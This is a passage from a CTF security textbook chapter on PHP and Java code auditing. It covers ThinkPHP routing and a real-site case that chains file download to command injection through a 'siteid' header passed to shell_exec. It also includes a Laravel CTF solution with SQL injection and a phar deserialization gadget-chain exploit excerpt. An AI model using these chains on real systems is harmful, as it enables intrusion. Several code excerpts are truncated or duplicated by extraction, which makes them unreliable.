keyword “xdebug”. If you can find the content shown Fig. 10.4, it means your
configuration is correct.
Once the XDebug is configured, you need to download an IDE named with
PhpStorm to use it (you can find how to install it on your own). After installation,
launch PhpStorm, select “Configure ! Settings” (see Fig. 10.5), and then select
“Languages&Frameworks ! PHP ! Debug”. “and set the debug port to 9000” (see
Fig. 10.6).
Click the Debug menu on the left to configure the DGBp Proxy, and fill in the
“IDE key” with the same value as in php.ini, i.e. “PHPSTORM”, “Host”, and
“PHPSTORM”. Please fill in “127.0.0.1” in “Host” and “9000” in “Port”, see
Fig. 10.7.
After the preparation work is completed, you can start debugging the PHP
program. Firstly, you should use PhpStorm to open a local PHP website. Here,
10.1 PHP Code Auditing 655
take the builtin phpmyadmin as an example, you can select “File ! Settings !
Languages&Frameworks ! PHP ! Servers” menu, then click on the “+” button to
add a server, and set the values according to your runtime settings, see Fig. 10.8.
You can add or remove a breakpoint on the first line on index.php by opening that
file and click on the left side of the line, see Fig. 10.9. Now click on the “Add
configuration” button on the top right (Fig. 10.10), Then click the “+” button and
select the “PHP Web Application” or “PHP Web Page” option, as shown in
Fig. 10.11.
Set the starting address to “/phpmyadmin” since the phpMyAdmin is in the sub
directory of phpstudy, see Fig. 10.12.
Click the Debug button on the upper right corner, see Fig. 10.13. PhpStorm will
automatically launch the browser and redirect to the web page and pause at the
breakpoint set before, you can see there are some debug information such as the
value of different variables, see Fig. 10.14. Then you can debug through the buttons
shown in Fig. 10.15.
But it is still not convenient enough to debug while we can browse the web page.
To solving this problem, an extension named Xdebug Helper is recommended.
10.1 PHP Code Auditing 657
First, search for “Xdebug Helper” in Firefox’s extension center, find it and add it,
see Fig. 10.16. Change the configuration in Xdebug Helper, set the value of “IDE
key” as “PHPSTORM”, see Fig. 10.17.
Click the save button and go back to the url http://127.0.0.1/phpmyadmin, enter
the username and password, and set Xdebug Helper to Debug mode, see Fig. 10.18.
Then go back to PhpStorm and click on the phone icon in the upper-right corner to
enable remote debugging, see Fig. 10.19.
Back in your Firefox browser, click on the “Login” button, it will automatically
turn back to the breakpoint in phpstorm and display the username and password you
entered, see Fig. 10.20.
At this point, the dynamic debugging environment is up and running.
658 10 Code Auditing
Fig. 10.17 Change the configuration in Xdebug Helper, set the value of “IDE key” as
“PHPSTORM”
When getting started with code auditing, many people are often confused about how
to audit the source code, where to start, and how to find vulnerabilities effectively
660 10 Code Auditing
Fig. 10.19 Click on the phone icon in the upper-right corner to enable remote debugging
and quickly. The code used in frameworks is quite obscure and difficult to under-
stand, so how to analyze framework routes quickly and effectively. The following is
an example of a quick way to analyze framework routes in ThinkPHP 5.0.24.
Download the source code for the core version of ThinkPHP 5.0.24 from
ThinkPHP website (http://www.thinkphp.cn/down/1279.html). The source code
structure is shown in Fig. 10.21. Among them, vendor is the directory to place
third-party dependencie, thinkphp is the directory to place the core components of
the framework, runtime is the directory for runtime logs, public is the directory for
the resource used in the webpage such as images, extend is the directory for
extension library, and application directory for the functionality of the website.
When starting an audit, you need to find the entry point of the whole framework.
Usually, the entry point of a program can be found in index.php, so when analyzing
the source code, you can start with index.php. ThinkPHP’s index.php is in the public
folder, so open the folder thinkphp_5.0.24 with PhpStorm, then open the public
directory, find index.php and open it, the content is as follows.
10.1 PHP Code Auditing 661
<?php
// Define the application directory
define('APP_PATH', __DIR__ . '/../application/');
// Load the framework bootloader file.
require __DIR__ . '/../thinkphp/start.php';
The code for the entry point is simple and is well commented. The start.php is
included, so the next step is to track down the contents of start.php (during a PHP
audit, if a file is included, it is usually necessary to track it down).
In PhpStorm, you can automatically open the included file by right-click on the
included file and select “Go To ! Decralation” in the pop-up menu (see Fig. 10.22),
or use the corresponding shortcut in Fig. 10.22. Readers can also use the
662 10 Code Auditing
corresponding shrotkey showed in Fig. 10.22. The same shrotkey can also be used to
track down to any of the functions, which is pretty convenient.
The code in start.php is as follows.
<?php
namespace think;
// ThinkPHP Bootstrap file
// 1. load the base file
require __DIR__ . '/base.php';
// 2. execute the application
App::run()->send();
The code here includes the base.php file, which also needs to be tracked down.
The core content is as follows.
<?php
//Some define constant definition operation
//load environment variables in .env
// Register the automatic classloader
\think\Loader::register();
}
}
// Add namespace definitions
self::addNamespace(['think' => LIB_PATH.'think'.DS,
'behavioror' => LIB_PATH.'behavioror'.DS,
'traits' => LIB_PATH.'traits'.DS
]);
// Load the class mapping file.
if (is_file(RUNTIME_PATH.'classmap'.EXT)) {
self::addClassMap(__include_file(RUNTIME_PATH.'classmap'.EXT));
}
self::loadComposerAutoloadFiles();
// Automatically load code the extend directory.
self::$fallbackDirsPsr4[] = rtrim(EXTEND_PATH, DS);
}
The main functions of this function are to register autoloading functions, and
automatically register composer and namespaces for later use.
App::run()->send( ) is called at the end of start.php. Among them, the run( ) is the
core funcotin of the framework during code auditing. Due to the complication of that
function implements, we will introduct the core components inside. The simplified
code is as follows.
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER
['PATH_INFO'], '/');
}
return $this->pathinfo;
}
The main function is to split the route (such as /home/index/index) with “/” into
an array. Then assign the result to $path variable. As for the parameters in the $url, it
is stored in a variable named $var. The following operation is calling the array_shift
for three times to pops up the module, controller, and operation from $path respec-
tively. Then a call to the parseUrlParams function is made to parse the additional
parameters. If there are any remaining parameters in the $path array after three
array_shift operations, it will use “|” to splice the remaining parameters into a string
and use it as parameter of the function calling.
The code for the parseUrlParams() function is as follows.
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // Perform controller actions
/** Omitted **/
case 'method': // Callback method
/** Omitted **/
case 'function': // Closure
/** Omitted **/
case 'response': // Response
/** Omitted **/
default:
throw new \InvalidArgumentException('dispatch type not
support');
}
return $data;
}
The exec( ) function has a number of branches for different cases. We will focus
on the module branch here, since we are analyzing the dynamic route dispatching
procedure (the most common branch). Here $dispatch['module'] is the [$module,
$controller, $action] array returned by the split routing above. Use the value as a
parameter to call self::module( ). The declaration is as follows.
$request = Request::instance();
if ($bind) {
/** the module binding operation is omitted **/.
}
elseif (!in_array($module, $config['deny_module_list']) && is_dir
(APP_PATH.$module)) {
$available = true;
}
if ($module && $available) { // Module initialization
// Initialize the module
$request->module($module);
$config = self::init($module);
// Module request cache check
$request->cache($config['request_cache'],
10.1 PHP Code Auditing 669
$config['request_cache_expire'],
$config['request_cache_except']);
}
else {
throw new HttpException(404, 'module not exists:'.$module);
}
}
else { // Single Module Deployment
$module = '';
$request->module($module);
}
// Listen to module_init
Hook::listen('module_init', $request);
try {
$instance = Loader::controller($controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller'] );
670 10 Code Auditing
}
catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:'.$e->getClass
());
}
$vars = [];
if (is_callable([$instance, $action])) {
// Execute the operation
$call = [$instance, $action];
// Strictly get the name of the current method
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) :
$methodName;
$request->action($actionName);
}
elseif (is_callable([$instance, '_empty']) { // null operation
$call = [$instance, '_empty'];
$vars = [$actionName];
}
else { // Operation does not exist
throw new HttpException(404, 'method not exists:'.get_class
($instance).'->'.$action.'()');
}
Hook::listen('action_begin', $call);
The function code is long and the key points are as follows.
① The program takes out the module, determines whether the module is disabled
and whether the application/module directory exists, and if so, sets $available to
true. when both $module and $available are true, it starts to execute the module
initialization operation.
② Take the controller and action from $result and do the regular expression match of
the corresponding naming convention, and subsequently instantiate the controller
by the following code..
$instance = Loader::controller($controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller'] );
10.1 PHP Code Auditing 671
The controller( ) function finds the controller class in the namespace, returns an
instance by reflection, and assigns it to $instance.
③ Call the is_callable( ) function after getting the instance class to determine if the
action can be accessed in the controller (public methods can be called, but private
and protected ones cannot). If it can be accessed, it continues to get the
corresponding method name by reflection and sets it for subsequent calls. The
whole call chain is : module ! controller ! action.
④ After getting the method name by reflection, execute the self::invokeMethod
($call, $vars) operation. The function is defined as follows.
public static function invokeMethod($method, $vars = []) {
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass
($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
}
else { // Static methods
$reflect = new \ReflectionMethod($method);
}
Not surprisingly, the invokeMethod function starts with getting the method to be
executed by reflection, and then calls bindParams() to bind the arguments, which is
defined as follows.
$args = [];
if ($reflect->getNumberOfParameters() > 0) { // Bind parameters
sequentially.
reset($vars);
$type = key($vars) === 0 ? 1 : 0;
}
}
return $args;
}
The param function is used to fetch the request parameters, then merge them with
the routing parameters mentioned above to generate a final parameter array. After
having the final parameter array, it call $reflect->getNumberOfParameters( ) to
determine whether the method called has parameters or not, if so, iterate over the
method parameters array and execute self::getParamValue($param, $vars, $type).
if ($class) {
/** branches where parameters are objects is omitted **/.
10.1 PHP Code Auditing 673
}
elseif (1 == $type && !empty($vars)) {
$result = array_shift($vars);
}
elseif (0 == $type && isset($vars[$name])) {
$result = $vars[$name]; // the most common used branch
}
elseif ($param->isDefaultValueAvailable()) {
$result = $param->getDefaultValue();
}
else {
throw new \InvalidArgumentException('method param miss:'.$name);
}
return $result;
}
By default, the getParamValue function takes the names of all formal parameters
in the called method and passes them as keys, and then takes the values of the
corresponding keys in the request parameter array as real parameters, thus complet-
ing the passing of the parameter values of the called method. Finally, by invoking
$reflect-> invokeArgs(isset($class) ? $class : null, $args) to complet the request
processing.
At this point, the route dispatching mechanism used in ThinkPHP 5 framework is
roughly introduced. The goal of the route dispatch mechanism analysis is when the
competitor get a copy of the source code, they do know how to get started and how to
run the program through the entry file. Instead of knowing where the vulnerability is
but don’t know how to construct a url to trigger the vulnerability. But due to space
constraints, many features of the ThinkPHP 5 framework are not covered, such as
how parameter values are filtered, how behavioral extensions work, and how
templates render and respond after a request is made. You can review the code by
yourself if you are intrested in this.
10.1.3 Examples
This can download passwd, see Fig. 10.23.Therefore, it is concluded that an arbitrary
file download vulnerability exists.
The server’s response header has “X-Powered-By: PHP/7.0.21” inside, so it is
inferred to be a PHP website. The idea is to download index.php and then read other
files according to the existing require or include statement in php files to get as much
source code as possible, and then perform a code audition to find more critical
vulnerabilities. The code for index.php is shown in Fig. 10.24. The site is a website
built with ThinkPhp,version in. /thinkphp/base.php (see Fig. 10.25), and the
resulting version number is 5.0.13.
After getting the version number, it can be found that its version is affected by the
RCE vulnerability of ThinkPHP 5 that appeared around 2019, but the payload can’t
be used directly. By reading the corresponding vulnerability file, we found that there
10.1 PHP Code Auditing 675
is a patch code, so we need to look for the vulnerability of the website business code.
Since the modules and controllers in the application directory are dynamically
loaded and called, it is not possible to get the exact name of the module folder and
controller. In index.php, you can see that the configuration file directory is set to
config, so the constructed path is ./config/config.php to get the source code and some
additional information from the configuration file, see Fig. 10.26.
This exposes the module name and controller name, so we can constructs a path ./
application/admin/controller/Base.php to get the source code, but there is no exploit-
able code in it. The exposed module name can then be used to guess the controller
name accordingly or to blast according to common controller names. For example, if
the URL of the file download vulnerability is download/file, then guess there is a
controller named as download, so we can construct the path as ./application/admin/
controller/download.php to download the source code shown in Fig. 10.27. But
unfortunately, this is the only operation of the controller, and there is no other
function that can be used.
In general, if there is a download, there must be a upload. So through trials and
errors, and we managed to construct a path for upload controller as ./application/
admin/controller/Upload.php, and successfully obtained the source code. By
676 10 Code Auditing
auditing the source code, we find an obvious arbitrary file write vulnerability, see
Fig. 10.28.
The incoming parameters are under the attacker’s control, and the suffixes are
taken out directly by regular expressions without any judgment about the legitimacy
of the suffix name, and the content written is also under the attacker’s control, so this
is an arbitrary file-writing vulnerability. However, the controller is part of the admin
module, which needs to determine whether there is a permission control first, and the
audit found that the interface inherits the controller (see Fig. 10.29) without any
permission restriction, so it can be called directly. However, after constructing and
sending the message, it displays the contents shown in Fig. 10.30.
The cause of the error is the pseudo static route setting of ThinkPHP framework,
which can be determined by the URL of the arbitrary file download vulnerability. As
mentioned in the previous section, if ThinkPHP5 is processing a route request and
finds that the operation is statically routed, it needs to access the operation via a static
route, otherwise an error will be thrown, so we need to download route.php to find
the static route configurations. The corresponding path is . /config/route.php , and the
content of the route.php is as follows.
$handler = opendir(CONF_PATH.'router');
$files = [];
while(($filename = readdir($handler)) ! == false) {
if(pathinfo($filename, PATHINFO_EXTENSION) == 'php') {
$files[] = 'route'.DS.str_replace(EXT, '', $filename);
}
}
return $files;
10.1 PHP Code Auditing 677
Its function is to iterate through the PHP files in the config/route directory where
the real static routes are defined. Since the names of these files are not known, it is
not possible to get the static route definitions. The ThinkPHP framework usually has
some log files, located in the runtime directory, which may contain some paths or
related content. ThinkPHP default log files are named after the time, and by
traversing the date, we successfully downloaded more than 100 logs, but after filter
the content of the logs, we could not find any logs about base64 data uploading
functions. We only managed to find a few modules and controllers, but after auditing
by downloading the corresponding modules and controllers, we still can’t find a way
to hack into the website. Since only the URL and file path are extracted through file
content filtering, some of the information may have been missed, so I tried to analyze
the log files manually, and then the content of one of the log files caught my
attention, see Fig. 10.31.
The reason for the error is that an undefined constant is present when the exec( )
function is executed in Hook.php. But when will the exec( ) function in Hook.php be
called? This involves the ThinkPHP framework’s Behavior extensions. According to
the error report, the site has a custom Behavior, and based on the string of constants,
it is inferred that the feature is related to logging. The logging feature usually has
write operations and other operations, so we can try to auditing corresponding source
code file to find any vulnerabilities inside. Usually, developers do bulk registration in
tags.php, which is easier and faster, so the constructed path is ./config/tags.php, and
we managed to find the source code of the Behavior definition, the content of which
is shown in Fig. 10.32, and we can see that the site has four customized Behavior
classes: ConfigBehavior, SqlBehavior, LogBehavior, and NGBehavior.
Continue to construct the download path of the file through the above namespace
to get the code for these 4 classes. The code auditing found that ConfigBehavior's
function is to initialize the configuration and has no sensitive operations,
SqlBehavior has some operations to execute SQL statements, but the SQL state-
ments are not controllable. The NGBehavior class is used to send the error logs to the
cloud platform, and there was no sensitive information either. But there is a
vulnerability in LogBehavior, the code is as follows.
class LogBehavior {
public function run(&$content) {
SaveSqlMiddle::insertRecordToDatabase();
FileLogerMiddle::write();
$siteid = \think\Request::instance()->header('siteid');
if ($siteid) {
shell_exec("php recordlog.php {$siteid} > /dev/null 2>&1 &");
}
}
}
678 10 Code Auditing
The implementation of the class is very simple: take the siteid header from the
request header and splice the value into the command to be executed, so obvious a
command execution vulnerability.
So how can the vulnerability be triggered? Since the LogBehavior class is bound
to response_end, which is a tag that comes with the ThinkPHP framework itself, so
we need to know what these tags stands for in advance. All the builtin tags within
ThinkPHP are defined as follows
• app_init: application initialization tag.
• app_begin: application start ta.
• module_init: module initialization tag.
• action_begin: the controller start tag.
• view_filter: the filter bit of the view output.
• app_end: application end tag.
• log_write: Log write method tag.
• log_write_done: log write completion tag (V5.0.10+).
• response_send: response send begin tag (V5.0.10+).
• response_end: response send end tag (V5.0.1+).
onse, so there is no restriction on the execution of the command. What we need to do
now is to set the siteid header in the request and insert the command to be executed.
That’s all about case one, from the arbitrary file download vulnerability to the
final the remote command execution vulnerability, I omitting some snippets of some
10.1 PHP Code Auditing 679
less useful code auditing (which is actually the most time-consuming). In an actual
code auditing, we need to go through the code patiently and carefully, track down to
every suspicious point, and make sure to be familiar enough with the relevant
frameworks to dig up quality vulnerabilities!
2. CTF Real Questions
There is a classic code auditing challenge in the Huwangbei 2018, the source code
for which is already open source: https://github.com/sco4x0/
huwangbei2018_easy_laravel. During the competition, hint information can be
found inside the HTML source code: https://github.com/qqqqqqvq/easy_laravel,
you can download part of the code directly, it is not difficult to find that the challenge
is based on Laravel framework by auditing the code. The following code tells us how
a administrator’s account is generated;
It is easy to see that the SQL statement is not filtered, and there is obviously an
SQL injection vulnerability, so we can get anything in the database, even if we get
the password, because it is encrypted and cannot be cracked.
But in Laravel’s official auth extension, in addition to the registration login, there
is also a password reset function, and its password_resets token to reset the password
is stored in the database, so using the SQL injection vulnerability in NoteController,
you can get the password_resets token to reset the administrator password.
The specific operation process is as follows: enter the administrator email
[email protected] and click the reset password button, then the password_resets in
the database will be updated with a new token, after which the token will be used as
the credentials to call the /password/reset/token interface to reset administrator’s
password. Firstly we can use injection to get the token, see Fig. 10.33. Then we can
change the password, see Fig. 10.34.
Log in to the backend, visit http://49.4.78.51:32310/flag. It doesn’t return any
flag. So we need to dig into the FlagController.
The blade template renders significantly differently than what you see. If you
were familiar with Laravel development, you may have encountered this problem:
“The page doesn’t show up even though the blade template is updated”. This is
caused by Laravel's template cache. So the next step is to remove the flag’s template
cache, the name of the cache file is automatically generated by Laravel. Here’s how
it’s generated.
/*
* Get the path to the compiled version of a view.
*
* @param string $path
* @return string
*/
public function getCompiledPath($path) {
return $this->cachePath.'/'.sha1($path).' .php';
}
So now we need to delete the bladed cache, but the logic of the whole challenge is
very simple, there is no other file manipulation anywhere other than the
UploadController controller can upload images. However, there is one method that
has caught my interest.
Path and filename are not filtered, so we can use file_exists to manipulate the phar
files, which obviously has a deserialization vulnerability, so now the idea is clear:
phar deserialization ! file manipulation delete or remove ! laravel re-render blade
! read flag.
By looking at the components introduced by composer, I found that they are all
default components. So I tried to search throught all the files for “unlink” and found
that the unlink( ) function exists in the
Swift_ByteStream_TemporaryFileByteStream destructor to delete any file, see
Fig. 10.35.
The construction of the specific pop chain is not repeated here, the exploit code is
as follows.
682 10 Code Auditing
<?php
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
**/
protected $sequence = 0;
/**
* StreamFilters.
* @var Swift_StreamFilter[]
**/
private $filters = [];
/**
* A buffer for writing.
**/
private $writeBuffer = '';
/**
* Bound streams.
* @var Swift_InputByteStream[]
**/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_
AbstractFilterableInputStream {
// The internal pointer offset
private $_offset = 0;
// The path to the file
private $_path;
// The mode this file is opened in for writing
private $_mode;
// A lazy-loaded resource handle for reading the file
private $_reader;
10.1 PHP Code Auditing 683
Then upload the image, trigger the deserialization to delete the cached template
file when the image is checked, and then access the flag route to get the flag, see
Fig. 10.36.
684 10 Code Auditing
However, the problem can also be solved with an RCE vulnerability, and you
may wish to download the code for a code auditing exercise.
Java will always be the “most familiar stranger” to CTF web-oriented competitors.
The unfamiliarity lies in the fact that Java's large structure and complex features
often discourage people from studying a language that is not so “simple and
intuitive”. Familiarity lies in the fact that the vast majority of web frameworks on
the market today are more or less based on the Java web design pattern, and that
many of the environments we encounter in the real world penetration testing are Java
web environments rather than PHP or .NET, etc. In this section, I will share some of
my experiences in learning Java code auditing from scratch, which I hope will help
you.
1. how to get started
I learned Java auditing purely by two words: “struggling” and “striving”.
In recent years, the number of articles in major security forums about Java
security is increasing. And there are more informations that you can refer
to. These informations are very helpful for the learning of Java security. However,
when I first started with Java Security, there were way more less relevant articles
than today, and other kinds of information is also very little, so build from scratch to
really took a lot of effort. This process all rely on “struggling” and “striving”, just bit
the bullet and analyze the code.
Many people usually fall into a misunderstanding before they start learning Java
code auditing. They think that they need to finish learning about Java before they can
start auditing Java code. In one way, this is not wrong, but the long-term, boring
learning process of Java can kill the enthusiasm for auditing, leading many people to
give up halfway. The author’s view on this issue is “Do it, then know it.”, aka, learn
by doing. If you are given a thick book about Java development introduction and
asked to read it from the beginning when you begin to learn java code auditing, even
if you can finish the book, you often don’t know what you can do with what you
read. And when you analyze it, you realize that what you learn from just reading the
10.2 Java Code Auditing 685
book is too useless and empty, and you don’t even know where to start in real-life
scenarios. Therefore, I recommend that beginners read and understand Java code
first and then start to analyze it directly, and try to solve any problem they encoun-
tered, learn what they don’t understand, and then summarize after trying to solve the
corresponding problem through learning, which is way of learning with highly
efficiency.
There must be a lot of people who have encountered a lot of development
environment problems when trying to start a Java audit analysis, because they are
new to Java development and are not sure how to configure the dev environment.
They often encountered with the problems such as how to build projects using
Maven, how do I deploy my project to Tomcat and start it, how to decompile a
JAR package to see the source code, how do I perform dynamic debugging, and so
on. Don't be dissuaded by these “pitfalls”. As long as you have solved with these
problems yourself, you will not step on them again. So you must keep a stable mind
and slowly understand them by checking information or other methods. This is how
we learn Java, just slow work leads to meticulous work, which can make this cup of
“coffee” more and more fragrant.
2. Getting Started
After you have stepped through a certain number of “traps” in your dev environment
configuration that seemingly have nothing to do with Java security, the first step of
the “long journey” has begun. What you need to do next is to reproduce and analyze
a large number of exposed vulnerabilities. Quality vulnerability’s analysis is the
easiest and most direct way to improve your skills, and Java auditing is very
knowledge-based, so if you haven’t debugged and analyzed it step by step, it’s
hard to know why you can do it in that way, so it’s recommended to analyze as many
vulnerabilities in large open source projects like Struts2, Jenkins, etc. as possible,
and learn some exploit chains, such as analyzing Deserialization exploit chain in
ysoserial, JNDI exploit flow, etc. Ask questions during the analysis, do your best to
explain the entire call chain of the vulnerability, and try to write your own exploits at
the same time.
While doing a lot of vulnerability analysis work, it is important to get your mind
out of the overly detailed execution flow and think holistically about how the
framework implements the flow, what is going on in the framework, and whether
you can explain each step of the execution flow. In this way, you will gradually get to
know the design patterns of the framework. The easiest way to illustrate this is if you
can understand the execution flow of the Struts2 framework. Once you are able to do
the vulnerability analysis on your own, you may want to try to analyze the latest
outbreaks of vulnerabilities in a timely manner, and gradually improve your under-
standing of Java auditing through extensive vulnerability analysis. That’s how you
get started.
3. Further study
I believe that at this point, with the knowledge you have accumulated, you will
gradually find that the vulnerabilities you have analyzed seem to have a particular
686 10 Code Auditing
pattern or relationship, and you will feel that you are getting worse and worse, so
congratulations, you have finally “embark on a hopeless adventure”.
This is where you can start to dive into some of the Java runtime mechanisms and
design patterns. On the way to pursuing that particular relationship, you’ll start to
dive into things like Java dynamic proxies, Java class loading mechanisms, etc.,
which are like the roots of a tree, and which will be used regardless of the
framework. With these basics in place, you’ll have a clearer understanding of
where you are and what you're doing when you analyze the framework source code.
This process is repeated over and over again, both for exploit and find the
vulnerabilities. Quantitative change leads to qualitative change, which is also correct
for research about Java.
click the Next button. Here I may just select the “hello world” project for demon-
stration (see Fig. 10.39), which is just a Main class and outputs “hello world”.
Specify the project path, and enter a project name, see Fig. 10.40, and the resulting
interface is shown in Fig. 10.41.
If you want to introduce a dependency package, you can create a new directory
named libs directly in the test directory, put the dependency JAR package in it, and
then configure the dependency directory in the project settings (see Figs. 10.42 and
10.43), and then select the alibs directory (you can create a new one), see Fig. 10.44.
At this point, you can debug some programs, put all the JAR packages in the libs
directory, and configure the debugging information, see Figs. 10.45 and 10.46.
688 10 Code Auditing
1. Fernflower
Fernflower is a builtin decompiler in IDEA, which is code friendly and has a
graphical user interface, check out https://the. bytecode.club/showthread.php?
tid¼5 if your need some more information. The basic commands are as follows.
Fig. 10.48 Select the JAR and WAR files that need to be decompiled
protocol-independent features that can generate dynamic Web pages that act as a
combination of client requests (Web browsers or other HTTP clients) and server
responses (databases or applications on an HTTP server). Middle Layer.
The scripting language on behalf of Java Web is JSP, but the Java Virtual
Machine will only parse class files, so how does a JSP script running? This involves
the connection between JSP and Servlet, JSP is a subclass of Servlet after compiled
and interpreted by the Web container, JSP is better at page display function, while
Servlet is better at back-end logic control.
1. Servlet Life Cycle
The foundation of the Java Web lifecycle is built on the servlet lifecycle, which is the
core of both the simplest JSP project and web frameworks that use the MVC design
pattern (e.g. Spring MVC). Understanding the servlet lifecycle helps us to better
understand the flow of execution of an access request on the Java Web.
After the server receives the request from the client, a Servlet is invoked by the
web container. First, the Web container checks if the Servlet specified by the client
request has been loaded (the path to access a specific Servlet can be configured in
web.xml), if it has not been loaded, it loads and initializes the Servlet, by calling the
692 10 Code Auditing
Servlet’s init( ) function. If it has been loaded, a new Servlet object will be created,
and the request is encapsulated into HttpServletRequest, and the response server
returns is encapsulated as HttpServletResponse. HttpServletRequest and
HttpServletResponse are passed as parameters to call the function service( ), after
which the servlet implement the logical to deal with the request until the web
container is stopped or restarted. The approximate lifecycle of this process is: init()
! service() ! destroy().
Servlet defines two default implementation classes: GenericServlet and
HttpServlet, which are subclasses of GenericServlet and specialize in handling
HTTP requests.) function implements to determine the user’s request type. The
doGet( ) function is called if the client’s request type is GET, and the doPost( )
function is called if it is POST. Just implement the do* function to achieve logical
control.
The scripting language on behalf of Java Web is JSP, but the Java Virtual
Machine will only parse class files, so how does a JSP script parse? This involves
the connection between JSP and Servlet, JSP is a subclass of Servlet after compiled
and interpreted by the Web container, JSP is better at page display function, while
Servlet is better at back-end logic control.
1. Servlet Life Cycle
The foundation of the Java Web lifecycle is built on the servlet lifecycle, which is the
core of both the simplest JSP project and web frameworks that use the MVC design
pattern (e.g. Spring MVC). Understanding the servlet lifecycle helps us to better
understand the flow of execution of an access request on the Java Web.
After the server receives the access request from the client, the Servlet is invoked
by the web container. First, the Web container checks if the Servlet specified by the
client request has been loaded (the Servlet can be configured to access the path
according to web.xml), if it has not been loaded, it loads and initializes the Servlet,
calling the Servlet’s init( ) function. HttpServletRequest and HttpServletResponse
are passed as parameters. The service( ) function is given to the servlet to be called,
after which the servlet takes some logical control of the message request until the
web container is stopped or restarted. The approximate lifecycle of this process is:
init() ! service() ! destroy().
GenericServlet and HttpServlet. Amont them, HttpServlet is a subclasse of
GenericServlet and specialize in handling HTTP requests. Generally, developers
do not need to rewrite the service() function, because the service() only implemented
how the request type is determined and call corresponding method without any
business code. The doGet( ) function is called if the client’s request type is GET, and
the doPost( ) function is called if it is POST. A developer just need to implement the
do* function to achieve logical control.
2. Servlet Deployment
First, we implement a servlet subclass with the following code.
10.2 Java Code Auditing 693
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
When the servlet is initialized, it outputs an initial. And when the server is
stopped(destroyed), a destroy will be outputted on the server side. And when a
client browser the webpage, it returns a page with a HellowWorld string inside.
Now you can use IDEA to deploy the Servlet to Tomcat (please refer to the
relevant literature for details). But we still cannot access this Servlet at this time.
Unlike the PHP language, just put the PHP file to be parsed into the Web directory.
You also need to configure the Servlet access path. The configuration file name is
web.xml and the path is in WEB-INF.
<web-app>
<servlet>
<servlet-name>HelloWorld</servlet-name>
<servlet-class>HelloWorld</servlet-class>.
</servlet>
<servlet-mapping>
<servlet-name>HelloWorld</servlet-name>
<url-pattern>/HelloWorld</url-pattern>
</servlet-mapping>
</web-app>
java.io.Serializable
java.io.Externalizable // This interface needs to implement
writeExternal and readExternal functions to control serialization.
ObjectOutput
ObjectInput
ObjectOutputStream
ObjectInputStream
import java.io.*;
System.out.println("userinfo:");
System.out.println("uname: " + unserialUinfo.getUserName());
System.out.println("uage: " + unserialUinfo.getUserAge());
System.out.println("uaddress: " + unserialUinfo.getUserAddress
());
}
}
userinfo:
uname: orich1
uage: 21
uaddress: chengdu
A serial file is generated in the project directory, the contents of which are the
serialized data.
2. Externalizable interface
In addition to the Serializable interface, Java also provides another serialization
interface Externalizable, which inherits from the Serializable interface, but has two
abstract functions: writeExternal and readExternal. The developer need to imple-
ment those two functions to control the logical of deserialization. If function control
logic is not implemented, then the property values of the target serialized class will
be the default values after the class has been initialized.
Note that when serializing with the Externalizable interface, reading operation
performed on that object will call the target serialization class's constructor without
any parameter to create a new object, and then populate the object’s properties with
serialized data. Therefore, the class that implements the Externalizable interface
must provide a public decorated constructor without any parameter needed.
3. serialVersionUID
The target serialization class has a hidden property.
When the Java Virtual Machine determines whether to allow serialized data to be
deserialized, it depends not only on whether the class paths and function codes are
the same, but also on whether the serialVersionUIDs of the two classes are the same.
The serialVersionUID may have different values in different compilers, and
developers can also provide fixed values in the target serialization classes them-
selves. In the case of providing a fixed serialVersionUID, as long as the
serialVersionUID in the serialization data and the serialVersionUID in the target
10.2 Java Code Auditing 697
serialization class in the program are the same, it can be successfully deserialized. If
the fixed value of serialVersionUID is not given, then the compiler will generate its
value (a 64-bit complex hash field with unique values calculated based on many
factors such as package name, class name, inheritance relationships, non-private
functions and attributes, and parameters, return values, etc.) by some algorithm
according to the content of the class file. So you may get different serialVersionUID
indifferent dev environments, which leads to deserializaiton failure. Due to the same
reason, changing the code in the target class may also affect the generated
serialVersionUID value, in which case the program will raise a java.io.
InvalidClassException, and point out the difference in serialVersionUID.
To improve the independence and certainty of serialVersionUID, it is
recommended to define serialVersionUID by assigning it an explicit value in the
target serialization class display.
Explicitly defining a serialVersionUID can be done in two ways: (i) in some
cases, you want different versions of the class to be serialization-compatible, so you
need to ensure that different versions of the class have the same serialVersionUID;
(ii) in some cases, you don't want different versions of the class to be serialization-
compatible, so you need to ensure that different versions of the class have different
serialVersionUID.
When we construct an exploit chain for a deserialization vulnerability, we also
need to pay attention to the change of serialVersionUID, which may affect the
Gadget in some way, such as in CVE-2018-14667 (RichFaces Framework Arbitrary
Code Execution Vulnerability). The solution to this problem is very simple: when
constructing a Gadget, override the class whose serialVersionUID has changed, and
specify it as the serialVersionUID value in the target environment.
1. Vulnerability Background
On November 6, 2015, @breenmachine from the FoxGlove Security security team
published a long blog on a real-life case of remote command execution using Java
Deserialization and Apache Commons Collections base class libraries. Collateral
damage was made to several major Java web server. This vulnerability sweeps
through the latest versions of WebLogic, WebSphere, JBoss, Jenkins, and
OpenNMS. Gabriel Lawrence and Chris Frohoff had already mentioned this vul-
nerability exploit idea in a report on AppSecCali nearly 10 months prior to this.
2. vulnerability analysis
The cause of the vulnerability is that if a Java program deserializes untrustworthy
data, an attacker can enter the constructed malicious serialized data into the program,
698 10 Code Auditing
The following sections describe only about the JDK builtin serializable interface.
4. Vulnerability Entry Points
The readObject function call to the ObjectInputStream object is the entry point to
Java's deserialization process, but it is necessary to consider whether the source of
the serialized data, which can come from Web applications such as cookies, GET
parameters, POST parameters or streams, HTTP heads, or databases is user-
controllable or not.
